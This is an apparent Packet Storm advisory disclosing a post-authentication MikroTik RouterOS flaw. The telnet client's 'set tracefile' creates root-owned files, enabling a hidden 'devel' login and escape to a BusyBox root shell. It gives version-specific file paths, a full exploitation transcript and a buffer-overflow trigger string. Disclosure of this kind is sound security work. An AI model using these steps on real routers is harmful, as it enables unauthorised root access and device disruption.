Mikrotik RouterOS Telnet Arbitrary Root File Creation

2018-12-14T00:00:00
ID PACKETSTORM:150786
Type packetstorm
Reporter Hacker Fantastic
Modified 2018-12-14T00:00:00

Description

                                        
                                            `Mikrotik RouterOS telnet arbitrary root file creation 0day  
==========================================================  
This weakness occurs "post-authentication" and can be used to escape the  
restricted shell on Mikrotik devices and escalate "readonly" privileges.  
Mikrotik contains a hidden "devel" login option which can be enabled  
through use of an "options" package.  
  
An exploitable arbitrary file creation weakness has been identified in  
Mikrotik RouterOS that can be leveraged by a malicious attacker to exploit  
all known versions of Mikrotik RouterOS. The RouterOS contains a telnet  
client based on GNU inetutils with modifications to remove shell subsystem.  
However an attacker can leverage the "set tracefile" option to write an  
arbitrary file into any "rw" area of the filesystem, escaping the  
restricted  
shell to gain access to a "ash" busybox shell on some versions. The file is  
created with root privilieges regardless of the RouterOS defined group.  
  
On versions 4.10 to 5.26 an attacker can enable the "devel" login to escape  
the restricted shell by creating the following file:  
  
"set tracefile /nova/etc/devel-login"  
  
On versions 6.0 to 6.40 the same can be achieved with the file:  
  
"set tracefile /flash/nova/etc/devel-login"  
  
This will allow access to a "ash" shell using the "devel" login which has  
the  
same password as the "admin" user. Advantages of using this method over  
known  
public methods is that it does not require reconfiguration of device via  
backup  
files or require a system reboot. On versions greater than 6.40 this issue  
can  
be exploited to overwrite files such as "user.db" from low-privileged user  
accounts to disrupt operation of the device.  
  
On versions above 6.40 this issue can only be leveraged to overwrite files  
as  
root due to changes in the "devel-login" now requiring creation of an  
"option"  
folder in a read only partition.  
  
An example of exploitation on impacted devices is shown below:  
  
[admin@MikroTik] > system telnet  
address:  
telnet> set tracefile /flash/nova/etc/devel-login  
tracefile set to "/flash/nova/etc/devel-login".  
telnet> quit  
  
Welcome back!  
[admin@MikroTik] > system telnet 127.0.0.1  
Trying 127.0.0.1...  
Connected to 127.0.0.1.  
Escape character is '^]'.  
  
MikroTik v6.40.9 (bugfix)  
Login: devel  
Password:  
  
  
BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
#  
  
Errata: an additional advisory accompanying this one references  
multiple buffer overflow vulnerabilities in inetutils telnet clients.  
The Mikrotik telnet client is also susciptible to these weaknessses. A  
trigger for the overflow condition is shown below.  
  
telnet> environ define DISPLAY  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
telnet> open 127.0.0.1  
Trying 127.0.0.1...  
Connected to 127.0.0.1.  
Escape character is '^]'.  
  
  
telnet: buffer overflow, losing data, sorry  
telnet: ring.cc: 143: int ringbuf::flush(): Assertion `top-bot > 0 &&  
top-bot <= count' failed.  
  
Welcome back!  
[admin@MikroTik] >  
  
  
-- Hacker Fantastic  
11/12/2018  
  
https://hacker.house  
  
  
`